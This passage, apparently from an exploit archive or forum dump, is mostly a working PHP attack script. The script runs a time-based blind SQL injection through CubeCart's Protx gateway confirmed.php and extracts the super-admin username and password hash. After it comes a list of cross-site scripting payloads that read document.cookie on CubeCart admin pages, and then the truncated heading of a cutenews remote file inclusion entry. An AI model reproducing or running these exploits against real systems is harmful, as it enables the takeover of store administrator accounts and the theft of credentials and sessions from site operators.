echo 'No response from proxy ';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="CubeCart_"; $delay_func="benchmark(2000000,sha1('suntzu'))"; $dt=0; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-a") { $delay_func="benchmark(".intval(str_replace("- a","",$argv[$i])).",sha1('suntzu'))"; } if ($temp=="-s") { $delay_func="sleep(11)"; } if ($temp=="-d") { $dt=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($dt) { $packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=".base64_encode("'")."&crypt=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; #echo quick_dump($packet); sendpacketii($packet); if (eregi("in your SQL syntax",$html)) { $temp=explode("UPDATE ",$html); $temp2=explode("sessions",$temp[1]); $prefix=$temp2[0]; echo "prefix -> ".$prefix."\n"; } } $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(97,102));//a-f letters $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(password,". $j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHE RE/**/isSuper=1)/*"; echo "sql -> ".$sql."\n"; $sql=base64_encode($sql); echo "encoded -> ".$sql."\n"; $packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=$sql&crypt=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; #echo quick_dump($packet); usleep(2000000); $starttime=time(); sendpacketii($packet); $endtime=time(); echo "starttime -> ".$starttime."\n"; echo "endtime -> ".$endtime."\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\n"; if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;} } if ($i==255) {die("Exploit failed ");} } $j++; } $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(username,". $j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHE RE/**/isSuper=1)/*"; echo "sql -> ".$sql."\n"; $sql=base64_encode($sql); echo "encoded -> ".$sql."\n"; $packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=$sql&crypt=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; #echo quick_dump($packet); usleep(2000000); $starttime=time(); sendpacketii($packet); $endtime=time(); echo "starttime -> ".$starttime."\n"; echo "endtime -> ".$endtime."\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\n"; if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\n";sleep(1);break;} if ($i==255) {die("Exploit failed ");} } $j++; } print_r(' admin -> '.$admin.' password (md5) -> '.$password.' '); function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } if (is_hash($password)) {echo "Exploit succeeded ";} else {echo "Exploit failed ";} ?> black_hat_cr(HCE) CubeCart <= 3.0.11 SQL injection & cross site scripting 1. Sql injection > Code: http://retrogod.altervista.org/cubecart_3011_sql_mqg_bypass.html 2. XSS (Cross site scripting) Code: http://[target]/[path_to_cubecart]/admin/filemanager/preview.php?file="> <script>alert(document.cookie)</script> http://[target]/[path_to_cubecart]/admin/filemanager/preview.php?file=1& x="><script>alert(document.cookie)</script> http://[target]/[path_to_cubecart]/admin/filemanager/preview.php?file=1& y="><script>alert(document.cookie)</script> http://[target]/[path_to_cubecart]/admin/login.php?email="><script>alert (document.cookie)</script> black_hat_cr(HCE) cutenews aj-fork <= 167f (cutepath) Remote File Include Vulnerability Code: =========================================================== ================================================